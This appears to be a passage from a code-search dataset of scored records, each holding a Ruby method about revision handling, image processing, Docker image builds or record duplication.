dst_node.data.src_node\n next unless src_node.pathname.exist?\n\n # Get the commit history of the doc as an Array of entries\n file_log = FileHistory.new(current_branch)\n @git_itf.file_log(src_node.pathname.to_s).each do |log_entry|\n file_log.history << FileHistory::LogEntry.new(\n log_entry[\"date\"],\n log_entry[\"author\"],\n log_entry[\"message\"],\n log_entry[\"sha\"]\n )\n end\n dst_node.data.add(file_log)\n end\n end", "title": "" }, { "docid": "d04ca3aeb146c6dcf68005e35a66e4a4", "score": "0.49359864", "text": "def change_vra_image_to_vra_work\r\n vra_xml = self.datastreams[ \"VRA\" ].ng_xml\r\n image_pid = vra_xml.xpath( '/vra:vra/vra:image' )[ 0 ][ 'refid' ]\r\n\r\n # Change the image to a work\r\n vra_image = vra_xml.xpath( '/vra:vra/vra:image' )\r\n vra_image[ 0 ].name = 'work'\r\n\r\n # Change the work reference to an image reference^M\r\n # Swap id and refid attributes in the new image reference\r\n vra_work = vra_xml.xpath( '/vra:vra/vra:work' )\r\n if vra_work[ 1 ]\r\n vra_work[ 1 ].name = 'image'\r\n vra_work[ 1 ][ 'id' ] = image_pid\r\n vra_work[ 1 ][ 'refid' ] = image_pid\r\n end\r\n end", "title": "" }, { "docid": "81253e4ff7316c30b860484dda299dd5", "score": "0.4930705", "text": "def create_test_brew_build(old_product_listing_id, new_rpm_version, new_rpm_release, new_product_version_name)\n new_product_version = ProductVersion.find_by_name!(new_product_version_name)\n old_product_listing = ProductListingCache.find(old_product_listing_id)\n\n old_build = old_product_listing.brew_build\n p = old_build.package\n n = p.name\n v = new_rpm_version\n r = new_rpm_release\n new_build = BrewBuild.create!(\n :package => p, :version => v, :release => r, :nvr => [n,v,r].join(\"-\"))\n new_build.reload\n\n old_build.brew_rpms.each do |rpm|\n attrs = rpm.attributes.\\\n reject{|col,val| col == \"id\"}.\\\n merge!({:name => [rpm.name_nonvr,v,r].join(\"-\"), :brew_build_id => new_build.id, :is_signed => 0, :id_brew => BrewRpm.pluck('max(id_brew)').first + 100})\n BrewRpm.create!(attrs)\n end\n\n cache = YAML.load(old_product_listing.cache).each_with_object({}) do |(variant, all_files), h|\n file_arch_maps = all_files.each_with_object({}) do |(file, arches), maps|\n filename = file.sub(/([^-]+)-([^-]+)$/, [v,r].join(\"-\"))\n maps[filename] = arches\n end\n h[variant] = file_arch_maps\n end\n\n ProductListingCache.create!(\n :product_version => new_product_version,\n :brew_build => new_build,\n :cache => cache.to_yaml)\n\n return new_build.reload\n end", "title": "" }, { "docid": "d480eb41c4621cadcd25b0393cd76592", "score": "0.4922463", "text": "def update_buildfile\n buildfile = change_version { |version| # THIS_VERSION minus SNAPSHOT\n resolve_next_version(this_version) # THIS_VERSION\n }\n File.open(version_file, 'w') { |file| file.write buildfile }\n end", "title": "" }, { "docid": "cbeeb9f4c57353fdb191093d86b2cb87", "score": "0.4910521", "text": "def copy\n projectid = params[:project_id]\n subprojectid = params[:subproject_id]\n versiontocopy = params[:versiontocopy]\n subsubproject_to_copy = Subsubproject.find(versiontocopy)\n new_subsubproject = Subsubproject.find(versiontocopy).dup\n new_subsubproject.name = new_subsubproject.name + ' (neu)'\n new_subsubproject.master = false\n new_subsubproject.save!\n\n # copy/duplicate offertpositions\n subsubproject_to_copy.offertpositions.each do |offertposition|\n new_offertposition = offertposition.dup\n new_offertposition.subsubproject_id = new_subsubproject.id\n new_offertposition.save!\n end\n\n # copy/duplicate grobengineerings\n grobengineerings_to_copy = Grobengineering.where(:subsubproject_id => versiontocopy).order(:id)\n grobengineerings_to_copy.each do |grobengineering|\n new_record = grobengineering.dup\n new_record.subsubproject_id = new_subsubproject.id\n offertposition = Offertposition.where(:subsubproject_id => new_subsubproject.id, :name => grobengineering.offertposition.name).first\n if !offertposition.nil?\n new_record.offertposition_id = offertposition.id\n end\n new_record.save!\n end\n\n redirect_to project_subproject_path(projectid, subprojectid),\n :notice => 'Version erfolgreich kopiert'\n\n end", "title": "" }, { "docid": "d09d65038fbf4d2838395e8dc688e54a", "score": "0.4904963", "text": "def vm_build_image (image_name, template)\n output_box = template[:box]\n unless File.directory?(Packer::OUTPUT_DIR)\n mkdir(Packer::OUTPUT_DIR)\n end\n if !$dry_run then\n build_image(template)\n else\n touch output_box\n end\n\n version_entry = {\n \"version\" => \"#{template[:vars]['image_version']}\",\n \"providers\" => [{\n \"name\" => \"virtualbox\",\n \"url\" => File.absolute_path(output_box),\n \"checksum_type\" => \"sha1\",\n \"checksum\" => Digest::SHA1.file(output_box).hexdigest\n }]\n }\n\n # Insert the new version entry into its correspondent vagrant JSON file\n vagrant_json_update(image_name, version_entry)\nend", "title": "" }, { "docid": "14511465bad18ed18350df5e483a05ba", "score": "0.48962128", "text": "def contents\n # Apply each revision to contents of base image\n buf = base_image.contents.dup\n @changeset.upto(@revision) do |rev|\n cb = rev.changed_bytes\n cb.keys.each { |vma| buf[vma_offset(vma)] = cb[vma] }\n end\n buf\n end", "title": "" }, { "docid": "d79f297ba3bdcf1af117c5690350a637", "score": "0.48933685", "text": "def build; end", "title": "" }, { "docid": "21ce63418d28031da746e7d5e36f500d", "score": "0.48884797", "text": "def restore_revision! (id, revision)\n record = restore_revision(id, revision)\n if record\n record.store_revision do\n save_restorable_associations(record, revisionable_associations)\n end\n end\n return record\n end", "title": "" }, { "docid": "44631329e32dffc9a3a7eba09e77ec4c", "score": "0.48878682", "text": "def rebuild\n build addl_cmake_bld_args: '--clean-first'\n end", "title": "" }, { "docid": "a144814ab2a3b9e5223b3f1605f30142", "score": "0.48820996", "text": "def apply_effect effect\n\t\timage_url = \"#{Rails.root}/public\"+image_url(:image).to_s\n\t\timg = Magick::Image::read(image_url).first\n\t\tcase effect.effect_type\n\t\twhen \"Brightness\"\n\t\t\timg = img.modulate(effect.amount, 1, 1)\n\t\twhen \"Saturation\"\n\t\t\timg = img.modulate(1, effect.amount, 1)\n\t\twhen \"Hue\"\n\t\t\timg = img.modulate(1, 1, effect.amount)\n\t\twhen \"Contrast\"\t\t\t\n\t\tend\n\t\tself.v = self.v + 1\n\t\ttemp = image_url(:image).to_s.scan(/(.+)\\.([A-Za-z0-9]*)$/).flatten\n\t\ti = Image.create(image: self.image, owner: self.owner, parent_image: self, caption: self.caption, title: self.title, v: self.v)\n\t\tself.child_versions << i\n\t\ti.child_versions = []\n\t\ti.save!\n\t\tself.parent_image = nil\n\t\timage_url = \"#{temp[0]}_#{self.v}.#{temp[1]}\"\n\t\tsrc = File.join(Rails.root, 'public', image_url)\n\t\timg.write(src)\n\t\tsrc_file = File.new(src)\n\t\tself.image = src_file\n\t\tself.image.recreate_versions!\n\tend", "title": "" }, { "docid": "44856b392f94f75176eb73d5f99ea230", "score": "0.48756954", "text": "def restore_revision! (revision)\n self.class.restore_revision!(self.id, revision)\n end", "title": "" }, { "docid": "1be6c6c69e563faaa868a18dd5f5bccf", "score": "0.48750928", "text": "def build\n info \"Building with image name as: '#{final_image_name}', tagged #{determined_version}\"\n command = \"docker build -t #{final_image_name} .\"\n logged_command = get_loglevel == Logger::INFO ? 'docker build' : command\n retval = Utils::Subprocess.run command do |stdout, stderr, thread|\n info \"[#{logged_command}] [stdout] #{stdout}\"\n info \"[#{logged_command}] [stderr] #{stderr}\" if stderr != nil\n end\n if retval.exitstatus != 0\n raise Athlete::CommandExecutionFailed, \"The command #{command} exited with non-zero status #{retval.exitstatus}\"\n end\n end", "title": "" }, { "docid": "6571762490a79486f28dd91485c8040a", "score": "0.48717976", "text": "def original_content\n last_applied = revision.ancestors.find(&:applied?)\n RevisionContent.new(last_applied) if last_applied\n end", "title": "" }, { "docid": "8ee7b4b5ef33f5b94ca43c0219c89c37", "score": "0.48673454", "text": "def update_with_revision\n store_revision do\n yield\n end\n end", "title": "" }, { "docid": "fe0e18cf9082ba8b28d8be838f7fc51f", "score": "0.48671788", "text": "def create_revision!\n revision_options = self.class.acts_as_revisionable_options\n revision = revision_record_class.new(self, revision_options[:encoding])\n if revision_options[:meta].is_a?(Hash)\n revision_options[:meta].each do |attribute, value|\n set_revision_meta_attribute(revision, attribute, value)\n end\n elsif revision_options[:meta].is_a?(Array)\n revision_options[:meta].each do |attribute|\n set_revision_meta_attribute(revision, attribute, attribute.to_sym)\n end\n elsif revision_options[:meta]\n set_revision_meta_attribute(revision, revision_options[:meta], revision_options[:meta].to_sym)\n end\n revision.save!\n return revision\n end", "title": "" }, { "docid": "36f67414b9d75aa59dfccfed1aa0b3ac", "score": "0.48628053", "text": "def deploy!\n write_previous_revision\n update_repository\n write_revision\n end", "title": "" }, { "docid": "85b1f7bf1cbf7bcadf85237c27ffa370", "score": "0.48620623", "text": "def create_crop\n \n # Get source Fedora object\n begin\n image_id = params[:pid]\n LockedObject.obtain_lock(params[:pid], \"image - generate detail\", current_user.id) \n source_fedora_object = Multiresimage.find(image_id)\n \n authorize! :show, source_fedora_object\n \n # Get the new crop boundaries\n x=params[:x]\n y=params[:y]\n width=params[:width]\n height=params[:height]\n \n new_image = Multiresimage.new(:pid=>mint_pid(\"dil-local\"))\n #puts \"\\nNEW IMAGE: x:\" + x + \"y:\" + y + \"width:\" + width + \"height:\" + height + \"\\n\"\n\t #@dil_collection.set_collection_type('Multiresimage')\n\n # Get source SVG datastream\n source_svg_ds = source_fedora_object.DELIV_OPS \n \n # Get new SVG datastream\n new_svg_ds = new_image.DELIV_OPS \n\n # Get source <image> for copying\n image_node = source_svg_ds.find_by_terms(:svg_image)\n \n # Add the <image> object\n new_svg_ds.add_image(image_node)\n\n\t # Update SVG\n new_svg_ds.add_rect(x, y, width, height)\n \n #Add properties datastream with depositor (user) info\n new_image.apply_depositor_metadata(current_user.user_key)\n \n #new_svg_ds.dirty = true\n new_image.save!\n\n # Get source VRA datastream\n source_vra_ds = source_fedora_object.datastreams[\"VRA\"]\n #source_vra_image=source_vra_ds.find_by_terms(:vra) \n #vra_ds = new_image.VRA\n #vra_ds.add_image(source_vra_image)\n \n #copy VRA ds from source image object\n new_image.VRA.content = source_vra_ds.content\n \n #replace pid in VRA with crop's pid \n new_image.replace_pid_in_vra(image_id, new_image.pid)\n\t\n\t # Add [DETAIL] to title in VRA\n\t new_image.titleSet_display = new_image.titleSet_display << \" [DETAIL]\"\n\t\n \t # Add image and VRA behavior via their cmodels\n new_image.add_relationship(:has_model, \"info:fedora/inu:VRACModel\")\n new_image.add_relationship(:has_model, \"info:fedora/inu:imageCModel\")\n \n #Add isCropOf relationship to crop\n new_image.add_relationship(:is_crop_of, \"info:fedora/#{source_fedora_object.pid}\")\n \n #Add hasCrop relationship to image\n source_fedora_object.add_relationship(:has_crop, \"info:fedora/#{new_image.pid}\")\n source_fedora_object.save\n \n #Edit rightsMetadata datastream\n new_image.edit_users=[current_user.user_key]\n \n new_image.save\n \n #add the detail to the detail collection\n personal_collection_search_result = current_user.get_details_collection\n DILCollection.add_image_to_personal_collection(personal_collection_search_result, DIL_CONFIG['dil_details_collection'], new_image, current_user.user_key)\n\n # get the dil_collection pid from the referer\n if request.referer =~ /dil_collections/\n url_array = request.referer.split( '/' )\n dil_collections_index = url_array.find_index( 'dil_collections' )\n\n # get the dil_collection\n dil_collection = DILCollection.find( url_array[ dil_collections_index + 1 ] )\n # insert the detail if the current user is the collection owner\n dil_collection.insert_member( new_image ) if dil_collection.owner == current_user.uid\n dil_collection_url = \"/dil_collections/#{ dil_collection.pid }/#{ new_image.pid }\"\n end\n\n ensure\n LockedObject.release_lock(params[:pid])\n end\n\n destination_url = dil_collection_url || \"/multiresimages/\" + new_image.pid\n\n respond_to do |wants|\n wants.html { redirect_to url_for(:action=>\"show\", :controller=>\"multiresimages\", :id=>new_image.pid) }\n wants.xml { render :inline =>'<success pid=\"'+ destination_url + '\"/>' }\n end\n end", "title": "" }, { "docid": "cc7ff9d0bafe3bc0fa0912d12095af25", "score": "0.4858549", "text": "def apply_revision(revision=nil)\n revision = latest_revision if revision.nil?\n unless revision.nil?\n revised_attributes = revision.attributes.reject {|k,v| self.unrevised_attributes.include?(k)}\n self.attributes=revised_attributes\n return true\n end\n false\n end", "title": "" }, { "docid": "63026f43f538aa3218ed025f41504636", "score": "0.4857852", "text": "def merge(qrcode)\n merge_record = self.merges.build( :qrcode => qrcode )\n \n templ = Magick::Image.read(self.filepath).first\n\n # TODO work out a problem with Magick::Image.read( qrcode.contents ) - it prefers to only read from a file ??\n qr = Magick::Image.from_blob( qrcode.contents ).first\n \n draw = Magick::Draw.new()\n\n composite_image = Magick::Image.new( templ.columns, templ.rows)\n\n # Composite design, then qr, into this draw object, then draw the draw into a new composite image\n draw.composite( 0, 0, templ.columns, templ.rows, templ) #Magick::OverCompositeOp )\n \n draw.composite( self.offset_left, self.offset_top, qr.columns, qr.rows, qr )\n draw.draw(composite_image)\n\n merge_filepath = \"#{RAILS_ROOT}/public/images/merges/#{merge_record.file_path}.png\" \n composite_image.write(merge_filepath)\n\n merge_filepath\n end", "title": "" }, { "docid": "5e3095c0ef9e2ae38777732cbf9fff3c", "score": "0.4856897", "text": "def add_revision\n attributes = get_attributes\n attributes = convert_empty_id_attributes_to_nil(attributes)\n if was_changed?\n revision = self.revision_model.create!(attributes)\n self.revisions << revision if self.respond_to?(:revisions)\n end\n set_correct_published_revision_number(revision) if self.respond_to?(:published_revision_number)\n end", "title": "" }, { "docid": "9c6d19b9446948015027b422d1953f7e", "score": "0.48484173", "text": "def merge_layer(other_layer)\n if self.type == Layer::LAYER_NORMAL and\n other_layer.type == Layer::LAYER_NORMAL\n\n # Calculate all the new dimensions for the new canvas\n top = [self.bounds.top, other_layer.bounds.top].min\n left = [self.bounds.left, other_layer.bounds.left].min\n bottom = [self.bounds.bottom, other_layer.bounds.bottom].max\n right = [self.bounds.right, other_layer.bounds.right].max\n width = right - left\n height = bottom - top\n new_bounds = BoundingBox.new top, left, bottom, right\n\n # Create a transparent slate, prepare the composite images to be applied\n slate = Image.new(width, height) { self.background_color = \"none\" }\n self_image = Image.read(self.extracted_image_path).first\n other_image = Image.read(other_layer.extracted_image_path).first\n\n # Calculate all the offsets to be composited.\n self_top_offset = self.bounds.top - top\n self_left_offset = self.bounds.left - left\n other_top_offset = other_layer.bounds.top - top\n other_left_offset = other_layer.bounds.left - left\n\n # Apply composites\n slate.composite!(self_image, self_left_offset, self_top_offset, Magick::OverCompositeOp)\n slate.composite!(other_image, other_left_offset, other_top_offset, Magick::OverCompositeOp)\n \n # Sync it to store\n slate.write(self.extracted_image_path)\n self.sync_image_to_store\n\n # Set new bounds\n self.bounds = new_bounds\n self.initial_bounds = new_bounds\n\n # Delete the merged layer\n self.design.sif.layers.delete other_layer.uid\n \n # Recalculate everything\n self.design.sif.reset_calculated_data\n self.design.sif.save!\n self.design.regroup\n Log.info \"Merge complete\"\n\n end\n end", "title": "" }, { "docid": "9e891fd699cea0d75b5024693962b298", "score": "0.48438004", "text": "def new\n @project = Project.new\n @project.build_image\n end", "title": "" }, { "docid": "ce68f252106f7ff9944106ca5f8b7e03", "score": "0.48405024", "text": "def new_version_additional_behaviour_before_save(old, new, params)\n\t\tnew.title = old.title\n\t\tnew.description = old.description\n\t\tnew.created_at = old.created_at\n\t\tnew.updated_at = Time.now\n\t\tnew.image = old.image\n\t\tnew.popularity = old.popularity\n\n\t\t# fields\n\t\told.fields.each do |f|\n\t\t\tnew.fields.push f.copy_without_references\n\t\tend\n\n\t\t# release dates\n\t\told.release_dates.each do |rd|\n\t\t\tnew.release_dates.push rd.copy_without_references\n\t\tend\n\n\t\t# videos\n\t\told.videos.each do |v|\n\t\t\tnew.videos.push v.copy_without_references\n\t\tend\n\n\t\tscreenshot_versioning old, new, params\n\n\t\t# genres\n\t\told.genres.each do |g|\n\t\t\tnew.genres.push g\n\t\tend\n\n\t\t# platforms\n\t\told.platforms.each do |p|\n\t\t\tnew.platforms.push p\n\t\tend\n\n\t\t# media\n\t\told.media.each do |m|\n\t\t\tnew.media.push m\n\t\tend\n\n\t\t# modes\n\t\told.modes.each do |m|\n\t\t\tnew.modes.push m\n\t\tend\n\n\t\t# tags\n\t\told.tags.each do |t|\n\t\t\tnew.tags.push t\n\t\tend\n\n\tend", "title": "" }, { "docid": "2ec44876e3c11a7b1fac5e7bf02e9edd", "score": "0.48400843", "text": "def begin_load_revision\n load_revision_stack.push(true)\n end", "title": "" }, { "docid": "ddfd57e5db732639a59e68fa91053f38", "score": "0.48386225", "text": "def rebuild(event)\n info \"Rebuilding updates from file system\"\n end", "title": "" }, { "docid": "ad796fcddc93d48b84abb8130f1ff1a8", "score": "0.4837923", "text": "def copy\n ditto = self.class.new\n @images.each { |f| ditto << f.copy }\n ditto.scene = @scene\n ditto\n end", "title": "" }, { "docid": "907fe0a250b2a06000fefe252c937b20", "score": "0.4826119", "text": "def revert(files=nil, opts={})\n # get the parents - used in checking if we haven an uncommitted merge\n parent, p2 = dirstate.parents\n \n # get the revision\n rev = opts[:revision] || opts[:rev] || opts[:to]\n \n # check to make sure it's logically possible\n unless rev || p2 == Amp::Mercurial::RevlogSupport::Node::NULL_ID\n raise abort(\"uncommitted merge - please provide a specific revision\")\n end\n \n # if we have anything here, then create a matcher\n matcher = if files\n Amp::Match.create :files => files ,\n :includer => opts[:include],\n :excluder => opts[:exclude]\n else\n # else just return nil\n # we can return nil because when it gets used in :match => matcher,\n # it will be as though it's not even there\n nil\n end\n \n # the changeset we use as a guide\n changeset = self[rev]\n \n # get the files that need to be changed\n stats = status :node_1 => rev, :match => matcher\n \n ###\n # now make the changes\n ###\n \n ##########\n # MODIFIED and DELETED\n ##########\n # Just write the old data to the files\n (stats[:modified] + stats[:deleted]).each do |path|\n File.open path, 'w' do |file|\n file.write changeset.get_file(path).data\n end\n UI::status \"restored\\t#{path}\"\n end\n \n ##########\n # REMOVED\n ##########\n # these files are set to be removed, and have thus far been dropped from the filesystem\n # we restore them and we alert the repo\n stats[:removed].each do |path|\n File.open path, 'w' do |file|\n file.write changeset.get_file(path).data\n end\n \n staging_area.normal path # pretend nothing happened\n UI::status \"saved\\t#{path}\"\n end\n \n ##########\n # ADDED\n ##########\n # these files have been added SINCE +rev+\n stats[:added].each do |path|\n remove path\n UI::status \"destroyed\\t#{path}\"\n end # pretend these files were never even there\n \n staging_area.save\n true # success marker\n end", "title": "" }, { "docid": "d27600af353bedac1546083ceead8a25", "score": "0.48153216", "text": "def apply(revision)\n owner.with_revision(revision) do\n owner.force_path_changes\n end\n end", "title": "" }, { "docid": "58ee072afd6721f7d7824f727fdb2825", "score": "0.48104578", "text": "def revision(version)\n revision_with Audited.audit_class.reconstruct_attributes(audits_to(version))\n end", "title": "" }, { "docid": "cf2d4d8b3a59027047fbda0ca14d8d4b", "score": "0.48061433", "text": "def image_shallow_copy(another_image)\n\n java_import Java::edu.stanford.cfuller.imageanalysistools.image.ImageFactory\n\n ImageFactory.createShallow(another_image)\n\n end", "title": "" }, { "docid": "8813d547891220b8b4cd3bb3ba5f6c72", "score": "0.47992513", "text": "def do_revision\n @record = find_if_allowed(params[:id], :read)\n @current_revision_number = @record.current_revision_number\n @revision_number ||= @current_revision_number\n @rev_record_1 = @record.restore_revision(@revision_number) if @revision_number\n @rev_record_2 = @record.restore_revision(@revision_number - 1) if @revision_number > 1\n end", "title": "" }, { "docid": "4b47d75287bf41158a3a0f63a34d57bf", "score": "0.4788224", "text": "def revision\n @job = Mugen::Job.find(params[:job_id]) \n @revision = Mugen::Job.revision(params[:job_id], params[:id])\n \n respond_to do |format|\n format.html {}\n format.xml { render :xml => @job }\n end\n end", "title": "" }, { "docid": "b3ae8c7b2c1fda7de2a28241ba391797", "score": "0.47865477", "text": "def build_snapshot\n raise \"build_snapshot not implemented in #{self}\"\n end", "title": "" }, { "docid": "b971b716b4ccf34b2cb7b6283c2abf46", "score": "0.4782165", "text": "def update_image_for_building_tag name\n unless service_config_hash[\"build\"].nil?\n service_config_hash[\"image\"]=name\n end\n \n self.image_name = service_config_hash[\"image\"]\n end", "title": "" }, { "docid": "9f433be66fc178eed365863e380d4667", "score": "0.4773936", "text": "def revision\n clazz = auditable_type.constantize\n (clazz.find_by_id(auditable_id) || clazz.new).tap do |m|\n self.class.assign_revision_attributes(m, self.class.reconstruct_attributes(ancestors).merge(version: version))\n end\n end", "title": "" }, { "docid": "b1d184525efcb604bb8fd9e07cfa227b", "score": "0.47708815", "text": "def move_to( revision )\n\t\treturn self.repo.bookmark( self.name, rev: revision, force: true )\n\tend", "title": "" }, { "docid": "5479e7d2f89fac49842e0f13f9b1fabd", "score": "0.47683096", "text": "def restore_revision!(id, revision_number)\n record = restore_revision(id, revision_number)\n if record\n record.store_revision do\n save_restorable_associations(record, revisionable_associations)\n end\n end\n return record\n end", "title": "" }, { "docid": "b35f1bb261317dd2b6023af0f554494d", "score": "0.47653922", "text": "def add_mk(new_image, iso_path, image_path)\n new_image.add(iso_path, image_path)\n end", "title": "" }, { "docid": "dbc7cb48e647110aec68b0b20dd3b1db", "score": "0.47624448", "text": "def revision_file\n @root.join('REVISION')\n end", "title": "" }, { "docid": "b563bf73bf07ddd1a6490fc4aa1bddc7", "score": "0.47589818", "text": "def build\r\n end", "title": "" }, { "docid": "b563bf73bf07ddd1a6490fc4aa1bddc7", "score": "0.47589818", "text": "def build\r\n end", "title": "" }, { "docid": "2dac623e3bdcd7b137e365d9fea87b81", "score": "0.47562185", "text": "def save_revision(child, revision, dl, new_path)\n modified_date = \"#{revision['modifiedDate'].to_s.gsub(/:/, '_')}\"\n output_file = \"#{new_path}/#{child.title}_\"\\\n \"#{modified_date}_\"\\\n \"#{revision['lastModifyingUserName']}\"\\\n \".#{retrieve_download_url(revision, child.mimeType)[-4, 4]}\"\n\n # Save downloaded file\n # puts \"Creating #{child.title} revision: ID #{revision.id}\"\n IO.binwrite output_file, dl.body\n end", "title": "" }, { "docid": "064fd8aa839523f5254939c2d71018b8", "score": "0.4751038", "text": "def logical_revision\n @logical_revision || \"rev-\" + self.rev \n end", "title": "" }, { "docid": "f633eef1920771132ef520cc1c81145c", "score": "0.47505012", "text": "def crop_and_save_image( image, ri )\n\n design_template = ri.version.design_template\n image_name = ri.image_name\n path = ri.get_path\n\n height = get_original_height( design_template, image_name )\n width = get_original_width( design_template, image_name )\n\n image = resize_with_crop( image, width.to_f, height.to_f )\n\n image.format 'png'\n # Any name will do, the AI script will just place all of the images\n # found in the collage folder.\n full_path = path + '/image.png'\n image.write( full_path )\n return true\n end", "title": "" }, { "docid": "ab9e48aa4dbabe67f423b069f962466d", "score": "0.47504106", "text": "def recreate()\n merge(recreate: 'true')\n end", "title": "" }, { "docid": "38465662eb27f3503baedf90119d7a34", "score": "0.47417617", "text": "def add_revision\n attributes = get_attributes(FIELDS['page_part_revision_attributes'])\n attributes['number'] = self.page.number_of_last_revision\n attributes['filter_id'] = nil if attributes['filter_id'].blank?\n if was_changed?(attributes)\n self.revisions << PagePartRevision.create(attributes)\n end\n return true\n end", "title": "" }, { "docid": "feb2604fc210938fa7bd21cfa64437cc", "score": "0.4741493", "text": "def change_attributes_to_revision_attributes(revision)\n revision ||= self.last_revision\n return self.attributes unless revision\n \n attributes = get_attributes\n \n revision_attributes = delete_specific_revision_attributes(revision.attributes)\n attributes.merge!(revision_attributes)\n attributes\n end", "title": "" }, { "docid": "46d35efb482be4d6d80c5b7b9ccc4544", "score": "0.47352394", "text": "def create\n @revision = Revision.new(params[:revision])\n @revision.document_id = params[:document_id]\n @revision.user_id = current_user.id\n respond_to do |format|\n if @revision.save\n expire_fragment(:controller => :documents, :action => :show, :id => @revision.document_id, :action_suffix => 'revisions')\n if @revision.document.category.is_featured\n expire_action :controller => :home, :action => :index\n end\n flash[:notice] = 'Revision was successfully created.'\n format.html { redirect_to(@revision.document) }\n format.xml { render :xml => @revision, :status => :created, :location => @revision }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @revision.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e40e10fa5633a562668195dfe1f433ae", "score": "0.47280475", "text": "def commit(newrevision, content_io=nil)\n if not get_indexfile_with_revision(newrevision).nil?\n raise \"Committing already-existing revision: #{newrevision} for #{@fname}\"\n end\n if content_io.nil?\n compress_file_lines = Deflate.deflate(File.read(@fname))\n else\n cont = content_io.read\n compress_file_lines = Deflate.deflate(cont)\n end\n\n # append current file fname to datafile\n length = IO.readlines(@datafile).size\n\n File.open(@datafile, \"a\") do |append|\n append.puts compress_file_lines\n end\n length = IO.readlines(@datafile).size - length\n\n # new version is the old version plus 1\n # new offset is the last length + last offset\n parse_last_line = parse_indexfile_line get_indexfile_with_line(-1)\n new_offset = parse_last_line[1] + parse_last_line[2]\n\n File.open(@indexfile, \"a\") do |f|\n index_write_row(f, newrevision.to_s,\n new_offset.to_s, length.to_s)\n end\n end", "title": "" }, { "docid": "88ea1e31a905b321610c8934ba656d4c", "score": "0.4724798", "text": "def make_last_revision_earlier(model)\n Revision.record_timestamps = false\n model.revisions.last.update_attributes :created_at => 2.seconds.ago\n Revision.record_timestamps = true\n end", "title": "" }, { "docid": "9111e546329db2bf8367d20adf43bdf2", "score": "0.4722385", "text": "def revise_from_content(base_content, revised_content)\n revisions.build(diffs: generate_diff_hash(base_content, revised_content))\n end", "title": "" }, { "docid": "9a19d0710872282c860d8da3d93e6a91", "score": "0.4719625", "text": "def create_first_revision\n attributes = get_attributes(FIELDS['page_part_revision_attributes'])\n number = self.page.number_of_last_revision == 0 ? 1 : self.page.number_of_last_revision\n attributes['number'] = number\n self.revisions << PagePartRevision.create(attributes)\n return true\n end", "title": "" }, { "docid": "8e881304ac3549e5a2b85d7c55786eb8", "score": "0.47184053", "text": "def build_docker_image(image_version)\n @process_runner.execute!(\"cd #{@working_directory} && docker build -t #{repository_name}:latest -t #{repository_name}:#{image_version} .\")\n end", "title": "" }, { "docid": "104b70d61d685bd84da71924bd5915b8", "score": "0.4718332", "text": "def render(*args)\n if request.path_parameters['action'] == \"edit\" && params[:revision]\n # Change revision number if given revision is not existed and we have set last revision\n params[:revision] = model.set_to_revision(params[:revision])\n end\n super(*args)\n end", "title": "" }, { "docid": "6d4b19a8b98e6ca5abeeabadea303616", "score": "0.4717326", "text": "def recreate\n #photo = Photo.find(params[:id])\n #degrees = if params[:direction] == 'left' then -90 else 90 end\n\n #~ #main photo\n #~ image = Magick::ImageList.new(photo.file)\n #~ image = image.rotate(degrees)\n #~ image.write(photo.file)\n\n # thumb\n @photoset = Photoset.find(params[:id])\n #@photos = Photo.find(:all)\n for photo in @photoset.photos \n # render :text => photo.id and return\n photo = Photo.find(photo.id)\n if !photo.image.blank?\n original_image = RAILS_ROOT + \"/public/photo/image/#{photo.id}/#{File.basename(photo.image)}\"\n \n main = RAILS_ROOT + \"/public/photo/image/#{photo.id}/main/#{File.basename(photo.image)}\"\n \n #~ thumbnail = RAILS_ROOT + \"/public/photo/image/#{photo.id}/thumbnail/#{File.basename(photo.image)}\"\n \n #~ submain = RAILS_ROOT + \"/public/photo/image/#{photo.id}/submain/#{File.basename(photo.image)}\"\n \n\n \n \n image = Magick::ImageList.new(original_image) \n image = image.change_geometry!('600x450>') { |c, r, i| i.resize!(c, r) } \n image.write(main)\n \n #~ image = Magick::ImageList.new(original_image) \n #~ image = image.change_geometry!('51x51!') { |c, r, i| i.resize!(c, r) } \n #~ image.write(thumbnail)\n \n #~ image = Magick::ImageList.new(original_image) \n #~ image = image.change_geometry!('97x97!') { |c, r, i| i.resize!(c, r) } \n #~ image.write(submain) \n \n end\n \n end\n render :text => \"image croped\"\n #redirect_to :action => 'index'\n end", "title": "" }, { "docid": "bef9502e13fa9bd65b959cb91686677f", "score": "0.4705529", "text": "def revision(version)\n revision_with ActsAsAuditable::Audit.reconstruct_attributes(audits_to(version))\n end", "title": "" }, { "docid": "18baf816f50095ddd14bc1bac180b4bc", "score": "0.46983224", "text": "def revision(version)\n revision_with audit_changes(version)\n end", "title": "" }, { "docid": "c064f89911f3beb3dc354e3ed2b2de08", "score": "0.46951574", "text": "def last_revision\n get_revision('REVISION')\n end", "title": "" }, { "docid": "d60c4a1a35dcc0bc6410460ed7bf05d5", "score": "0.46926007", "text": "def clone\n product = @product.dup\n @product.images.each do |img|\n product.images.new(item: img.item)\n end\n @product.tags.each do |tag|\n product.taggings.new(tag: tag)\n end\n product.status = :draft\n\n respond_to do |format|\n if product.save\n format.html { redirect_to edit_product_url product, notice: 'Product was successfully cloned.' }\n format.json { render :show, status: :created, location: product }\n else\n format.html { render :new }\n format.json { render json: product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2acb057114adda42108bd30fd8d920ca", "score": "0.46918404", "text": "def create\n @post.author = current_user\n @post.current_revision.user = current_user\n handle_images\n respond_to do |format|\n if @post.save\n handle_pingbacks\n flash[:notice] = 'Post was successfully created.'\n format.html { redirect_to(@post) }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0e039b6f3400726c3ea132ec76dfe5c", "score": "0.46908426", "text": "def build_draft_upload(key)\n cw_uploader = self.send(key)\n file = File.new(cw_uploader.file.path) if cw_uploader.file\n existing_upload = self.draft.draft_uploads.where(:draftable_mount_column => key).first\n draft_upload = existing_upload.nil? ? DraftUpload.new : existing_upload\n draft_upload.file_data = file\n draft_upload.draftable_mount_column = key\n draft_upload\n end", "title": "" }, { "docid": "6b4f63f7431aff50559fb071213ae3b8", "score": "0.46799386", "text": "def apply(template_image)\n self.scale\n\n image = Magick::ImageList.new(self.artwork.image.path)\n\n image[0].rotate!(rotation) unless rotation.nil?\n image.resize!(self.width, self.height)\n\n center_x = template_image.columns / 2\n crop_image!(image, center_x)\n\n self.image_x += template_image.columns / 2 if self.leg == 'right'\n\n # 